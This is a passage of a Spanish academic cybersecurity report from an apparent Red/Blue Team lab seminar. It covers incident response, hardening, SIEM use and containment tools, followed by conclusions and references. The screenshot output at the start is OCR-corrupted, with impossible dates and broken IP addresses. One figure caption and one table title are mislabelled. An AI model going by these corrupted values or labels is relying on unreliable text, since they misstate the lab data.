Leaze Obtained : Tuesday, June B3, 2825 8:88:37 PH
Lease Expires : Tuesday, June @3, 2825 8:38:36 PH
Default Gateway H 6E.0.

DHCP Server

DHCFuve IAID 51

DHCPvb Client DUID : B8-91-808-81-2F-87-A9-FF-@8-BA-27-7E-E1-42

DNS Servers : 19@.157.8.181
198.157.8.188
MetBIOS over Tcpip : Enabled

C:sUserswhoxuser>

Nota. Se verifica direccion IP asignada a la maquina virtual Windows 7. Elaboracion propia.



Figura 17.

Verificacion IP maquina Linux

~

eth®: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.0.32 netmask 255.255.255.@0 broadcast 192.168.0.255
inet6 fe80::7cdd:4ba:1da9:a32a prefixlen 64 scopeid 0x20<link>
ether 08:00:27:04:42:0f txqueuelen 1000 (Ethernet)
RX packets 16 bytes 3298 (3.2 KiB)
RX errors @ dropped @ overruns @ frame 0
TX packets 88 bytes 14035 (13.7 KiB)
TX errors @ dropped @ overruns @ carrier @ collisions @

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536

inet 127.0.0.1 netmask 255.0.0.0

inet6 ::1 prefixlen 128 scopeid 0x10<host>

loop txqueuelen 1000 (Local Loopback)

RX packets 8 bytes 480 (480.0 B)

RX errors @ dropped @ overruns @ frame 0

TX packets 8 bytes 480 (480.0 B)

TX errors @ dropped @ overruns @ carrier @ collisions @

Nota. Se verifica direccion IP asignada a la maquina virtual Windows 7. Elaboracion propia.

CAPITULO 4

7.1 ;{Qué seria lo primero que indagaria y haria si llegara a encontrarse un ataque en

tiempo real?

Ante un incidente activo, las acciones iniciales se enfocan en:

Confirmar la existencia del ataque mediante indicadores de compromiso (IoCs), como
consumo andomalo de CPU/RAM, conexiones salientes no autorizadas, procesos
sospechosos o archivos modificados recientemente.

Aislar el equipo comprometido de la red para evitar la propagacion del ataque. Esto
puede lograrse temporalmente deshabilitando la interfaz de red o aplicando reglas de

firewall locales.



Preservar la evidencia digital con herramientas como FTK Imager o Autopsy,
almacenando imagenes forenses de disco y memoria para andlisis posterior.

Revisar los logs del sistema (Windows Event Viewer) y registros de red (Wireshark,
Zeek) para identificar vectores de entrada y técnicas utilizadas (por ejemplo, PowerShell
o RDP).

Iniciar la documentacion del incidente desde el primer momento, registrando hora,

acciones realizadas, usuarios implicados y herramientas utilizadas.

7.2 ;Qué medidas de hardenizacion propondria para que el ataque no se repita?

La estrategia de hardening debe aplicarse en diferentes capas del sistema y red:

Sistema Operativo:

Deshabilitar servicios innecesarios (por ejemplo, Telnet, SMBv1).

Aplicar actualizaciones de seguridad y parches criticos.

Restringir privilegios de usuarios, promoviendo el principio de menor privilegio (PoLP
(Stallings, 2021)).

Implementar reglas en Applocker para bloquear la ejecucion de binarios fuera de rutas
predefinidas.

Red y comunicaciones:

Aplicar politicas de firewall local para limitar accesos por puertos innecesarios.
Segmentar la red mediante VLANSs para contener movimientos laterales.

Habilitar NLA (Network Level Authentication) para accesos por RDP.

Usuarios y contrasefias:

Implementar politicas de contrasefias robustas (minimo 12 caracteres, complejidad,

caducidad).



Habilitar autenticacion multifactor (MFA) donde sea posible.

Limitar cuentas con privilegios administrativos y monitorear su uso.

e Registro y monitoreo:

Centralizar logs y activar la auditoria avanzada.

Configurar alertas de uso anémalo de PowerShell o creacion de cuentas no autorizadas.

7.3 ¢Cuales son las diferencias entre un equipo Blue Team y un equipo de respuesta a

incidentes?

A continuacion, se presenta una tabla comparativa que evidencia las diferencias entre

ambos equipos:

Tabla 1 Diferencias Equipo Blue Team y Red Team

Caracteristica Blue Team Equipo de Respuesta a
Incidentes
Objetivo principal Prevencion, deteccion y Mitigacion y gestion de
defensa continua incidentes activos
Enfoque Proactivo: fortalece la Reactivo: responde a

seguridad antes del ataque

ataques ya iniciados

Herramientas comunes

IDS/IPS, SIEM, EDR,
firewalls

Forense digital, analisis de
malware, IR playbooks

Actividad Monitoreo continuo, Contencion, erradicacion,
auditorias, hardening recuperacion
Tiempo de accion Permanente Durante el ciclo de vida del
incidente

7.4 ;Para qué utilizaria el CIS como integrante de Blue Team?

El CIS proporciona marcos y guias reconocidas globalmente para la configuracion segura

de sistemas. Como miembro de un Blue Team, utilizaria los CIS Benchmarks (Center for

Internet Security, 2023) con los siguientes propoésitos:

e Base para hardening: Aplicar configuraciones recomendadas para asegurar

sistemas operativos y aplicaciones.



e Auditoria y evaluacion: Comparar configuraciones actuales contra los benchmarks
con herramientas como OpenSCAP o Lynis.

e [Estandarizacion de la seguridad: Alinear politicas con estandares reconocidos y
facilitar cuamplimiento normativo.

e (apacitacion y concientizacion: Entrenar al personal en practicas seguras

respaldadas por buenas practicas globales.

7.5 (Cuales son las funciones y caracteristicas principales de un SIEM (AT&T
Cybersecurity, 2023; Wazuh, 2024)?
Un SIEM (AT&T Cybersecurity, 2023; Wazuh, 2024) es esencial para equipos Blue Team. Sus
funciones incluyen:

e Recoleccion centralizada de logs desde multiples fuentes.

e Correlacion de eventos para identificar patrones de ataque.

e Generacion de alertas en tiempo real.

e Analisis forense y busqueda historica de eventos.

e Automatizacion de reportes para cumplimiento normativo.

Complementariamente, los SIEM (AT&T Cybersecurity, 2023; Wazuh, 2024) modernos
permiten automatizar respuestas mediante integraciones con sistemas SOAR (Security
Orchestration, Automation, and Response). Estas soluciones coordinan alertas y acciones como
el aislamiento de hosts, el bloqueo de direcciones IP o el envio de notificaciones, reduciendo el
tiempo de reaccion. Por ejemplo, Wazuh junto con ELK Stack y herramientas de automatizacion
como TheHive y Cortex permiten una arquitectura defensiva de bajo costo pero altamente

funcional.



7.6 ;Herramientas para la contencion de ataques informaticos?
Las siguientes herramientas con licencia GPL pueden ser utilizadas para contener ataques
informaticos en entornos reales:
1. IPtables (Linux) / Windows Defender Firewall:
e Permite bloquear trafico malicioso o no autorizado.
o Util para aislar sistemas mientras se investiga el incidente.
2. EDR Open Source — Wazuh:
e Supervisa el host y aplica reglas de contencidon automatizada.
e Permite detectar comportamientos sospechosos y ejecutar respuestas.
3. Remmina + SSH o PsExec (Windows):
e Facilita el acceso remoto seguro para tomar control de maquinas comprometidas.
e Minimiza la exposicion directa durante la contencion.
La efectividad de estas herramientas se potencia cuando estan alineadas a un plan formal
de contencidn y recuperacion ante incidentes. Esto implica documentar playbooks especificos,
capacitar al personal y ejecutar simulacros periodicos (tabletop exercises) para validar su

efectividad.

8. Video de sustentacion desarrollo de seminario especializado

https://voutu.be/XiCYyDKCEYg



https://youtu.be/XjCYyDKCEYg

Conclusiones

La implementacion del enfoque Red Team permiti6 identificar vulnerabilidades criticas
en entornos Windows, demostrando la efectividad de herramientas como Metasploit
(Moreno, 2021; OWASP, 2023) y Nmap (Moreno, 2021) en ejercicios controlados.

La aplicacion de buenas practicas legales y éticas, conforme a la legislacién colombiana,
garantizd un ejercicio académico seguro, documentado y alineado con el marco
normativo nacional.

El Blue Team demostro su capacidad de deteccion, analisis y contencion frente a ataques
informaticos, utilizando herramientas y estrategias alineadas con estindares
internacionales.

La combinacién Red Team — Blue Team promueve un enfoque integral y colaborativo
que permite mejorar la postura de seguridad de las organizaciones, desde la prevencion

hasta la respuesta.



Recomendaciones

Establecer laboratorios permanentes de entrenamiento Red/Blue Team en entornos
controlados para fortalecer competencias técnicas.

Implementar politicas de gestion de vulnerabilidades con parches regulares y
evaluaciones periodicas basadas en estandares como CVSS y CIS Benchmarks (Center
for Internet Security, 2023).

Integrar herramientas de automatizacion y orquestacion de respuesta a incidentes (SOAR)
que aceleren la contencion y analisis de eventos de seguridad.

Fortalecer el monitoreo con SIEM (AT&T Cybersecurity, 2023; Wazuh, 2024) que
permita correlacionar eventos y generar alertas tempranas frente a ataques internos y
externos.

Mantener una cultura de ética profesional en todas las acciones de ciberseguridad,
reforzando los principios del COPNIA vy las politicas institucionales.

Adoptar una arquitectura de seguridad basada en “Zero Trust (NIST, 2022)”,
segmentando recursos criticos y aplicando el principio de minimo privilegio (PoLP
(Stallings, 2021)).

Generar capacidades legales internas que acompafien procesos de analisis forense y

gestion de incidentes desde el punto de vista probatorio y normativo.



Referencias bibliograficas

Center for Internet Security. (2023). CIS Benchmarks. https://www.cisecurity.org/cis-

benchmarks

Microsoft. (2023). Auditing and Advanced Threat Analytics. Microsoft Learn.

https://learn.microsoft.com

NIST. (2020). Computer security incident handling guide (SP 800-61 Rev. 2). National Institute

of Standards and Technology. https://csrc.nist.gov/publications/detail/sp/800-61/rev-

2/final

Wazuh. (2024). Open source security platform. https://wazuh.com/

AT&T Cybersecurity. (2023). OSSIM SIEM. https://cybersecurity.att.com/products/ossim

Agudelo, J. (2021). Guia practica de ciberseguridad para profesionales de TI. Editorial

Alfaomega.

Arrieta, J. C. (2022). Seguridad en redes informaticas. Ecoe Ediciones.

Centro Cibernético Policial. (2022). Buenas practicas de ciberseguridad en Colombia. Policia

Nacional de Colombia.

CERT Colombia. (2023). Guia para la gestion de incidentes de seguridad informatica.

https://www.cert.gov.co

CNCS. (2021). Estrategia Nacional de Ciberseguridad. Consejo Nacional de Ciberseguridad.


https://www.cisecurity.org/cis-benchmarks
https://www.cisecurity.org/cis-benchmarks
https://learn.microsoft.com/
https://csrc.nist.gov/publications/detail/sp/800-61/rev-2/final
https://csrc.nist.gov/publications/detail/sp/800-61/rev-2/final
https://wazuh.com/
https://cybersecurity.att.com/products/ossim
https://www.cert.gov.co/

CONPES 3995. (2020). Politica Nacional de Confianza y Seguridad Digital. Departamento

Nacional de Planeacion.

COPNIA. (2023). Codigo de Etica Profesional. Consejo Profesional Nacional de Ingenieria.

Gonzalez, H. (2022). Fundamentos éticos en la ingenieria de sistemas. Universidad de los Andes.

Ley 1273 de 2009. Por medio de la cual se modifica el Codigo Penal en materia de delitos

informaticos. Diario Oficial.

Ley 1581 de 2012. Por la cual se dictan disposiciones generales para la proteccion de datos

personales.

Ministerio TIC. (2023). Guia para la implementacion de controles de ciberseguridad en

organizaciones publicas. https://www.mintic.gov.co

Moreno, A. (2021). Seguridad informatica aplicada. Ediciones de la U.

NIST. (2022). Computer Security Incident Handling Guide (SP 800-61 Rev. 2).

https://nvlpubs.nist.gov

OWASP. (2023). Testing Guide v4.2. https://owasp.org/www-project-testing/

SANS Institute. (2022). Incident Handler’s Handbook. https://www.sans.org/white-papers/

Stallings, W. (2021). Cryptography and Network Security (8th ed.). Pearson Education.

Symantec. (2023). Threat Intelligence Report. https://www.broadcom.com/company/newsroom



https://www.mintic.gov.co/
https://nvlpubs.nist.gov/
https://owasp.org/www-project-testing/
https://www.sans.org/white-papers/
https://www.broadcom.com/company/newsroom

Trend Micro. (2023). Global Security Predictions Report. https://www.trendmicro.com

Zeltser, L. (2021). Foundations of Information Security. https://zeltser.com/security-books



https://www.trendmicro.com/
https://zeltser.com/security-books

	69ec16ebe58352a20856d39910cde9264dc2d3a6a4742d4de44dec9f0ec86a3f.pdf
	6fa79b0ca7f05e6765055ba70804e8d6eebce8910abb553004b630402caf2431.pdf
	69ec16ebe58352a20856d39910cde9264dc2d3a6a4742d4de44dec9f0ec86a3f.pdf

